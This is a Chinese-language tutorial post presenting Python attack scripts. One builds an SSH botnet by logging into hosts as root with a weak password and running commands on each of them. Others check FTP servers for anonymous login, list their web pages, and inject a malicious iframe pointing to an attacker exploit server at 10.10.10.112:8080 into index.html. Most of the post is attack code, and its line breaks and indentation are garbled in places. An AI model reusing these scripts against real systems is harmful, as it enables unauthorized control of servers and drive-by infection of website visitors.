python构建SSH僵尸网络

时间:2022-07-22
本文章向大家介绍python构建SSH僵尸网络,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

构建僵尸网络,主要使用的包为pexpect,Pexpect 是一个用来启动子程序并对其进行自动控制的 Python 模块,它可以用来和像 ssh、ftp、passwd、telnet 等命令行程序进行自动交互。

python ssh登录集群

import optparse 
import pxssh
class Client:    
    def __init__(self, host, user, password):        self.host = host        
       self.user = user        
       self.password = password        self.session = self.connect()    
    def connect(self):        
        try:            
            s = pxssh.pxssh()            s.login(self.host, self.user, self.password)            
            return s        
        except Exception as e:            
            print(e)            
            print('[-] Error Connecting')    
    def send_command(self, cmd):
        self.session.sendline(cmd)        self.session.prompt()        
        return self.session.before
    def botnetCommand(command):    
        for client in botNet:        
            output = client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + output + 'n')
    def addClient(host, user, password):    
        client = Client(host, user, password)    botNet.append(client)
botNet = [] 
addClient('10.10.10.110', 'root', 'toor') 
addClient('10.10.10.120', 'root', 'toor') addClient('10.10.10.130', 'root', 'toor') botnetCommand('uname -v') 
botnetCommand('cat /etc/issue')

通过FTP连接WEB来渗透

就安全而言,网站提供匿名的FTP服务器访问功能似乎很愚蠢。然而,令人惊 讶的是许多网站提供这类FTP的访问如升级软件,这使得更多的软件获取软件 的合法更新。我们可以利用Python的ftplib模块来构建一个小脚本,用来确 认服务器是否允许匿名登录。函数anonLogin()接受一个主机名反汇编一个布 尔值来确认主机是否允许匿名登录。为了确认这个布尔值,这个函数尝试用匿 名认证生成一个FTP连接,如果成功,则返回“True”,产生异常则返回 “False”。

import ftplib
def anonLogin(hostname):    
    try:        
        ftp = ftplib.FTP(hostname)        ftp.login('anonymous', 'me@your.com')     print('n[*] ' + str(hostname) + ' FTP Anonymous Logon Succeeded!')        ftp.quit()        
        return True    
    except Exception as e:        
        print('n[-] ' + str(hostname) + ' FTP Anonymous Logon Failed!')        
        return False
host = '192.168.95.179' 
anonLogin(host)

在FTP服务器上寻找WEB页面

有了FTP访问权限,我们还要测试服务器是否还提供了WEB访问。为了测试 这个,我们首先要列出FTP的服务目录并寻找默认的WEB页面。函数 returnDefault()接受一个FTP连接作为输入并返回一个找到的默认页面的数组。 它通过发送命令NLST列出目录内容。这个函数检查每个文件返回默认 WEB页面文件名并将任何发现的默认WEB页面文件名添加到名为retList的列 表中。完成迭代这些文件之后,函数将返回这个列表。

import ftplib
def returnDefault(ftp):    
    try:        
        dirList = ftp.nlst()    
    except:        
        dirList = []        
        print('[-] Could not list directory contents.')        
        print('[-] Skipping To Next Target.')   return    retList = []
   for fileName in dirList:        
        fn = fileName.lower()        
        if '.php' in fn or '.htm' in fn or '.asp' in fn:            
        print('[+] Found default page: ' + fileName)            retList.append(fileName)            
        return retList
host = '192.168.95.179' 
userName = 'guest' 
passWord = 'guest' 
ftp = ftplib.FTP(host) 
ftp.login(userName, passWord) 
returnDefault(ftp)

看着这个脆弱的FTP服务器,我们可以看到它有三个WEB页面在基目录下。 好极了,我们知道可以移动我们的攻击向量到我们的被感染的页面。

添加恶意注入脚本到WEB页面

import ftplib
def injectPage(ftp, page, redirect):    
    f = open(page + '.tmp', 'w')    
    ftp.retrlines('RETR ' + page, f.write)    
    print '[+] Downloaded Page: ' + page    f.write(redirect)    
    f.close()    
    print '[+] Injected Malicious IFrame on: ' + page    
    ftp.storlines('STOR ' + page, open(page + '.tmp'))    
    print '[+] Uploaded Injected Page: ' + page
host = '192.168.95.179' 
userName = 'guest' 
passWord = 'guest' 
ftp = ftplib.FTP(host) 
ftp.login(userName, passWord) 
redirect = '<iframe src="http://10.10.10.112:8080/exploit"></iframe>' 
injectPage(ftp, 'index.html', redirect)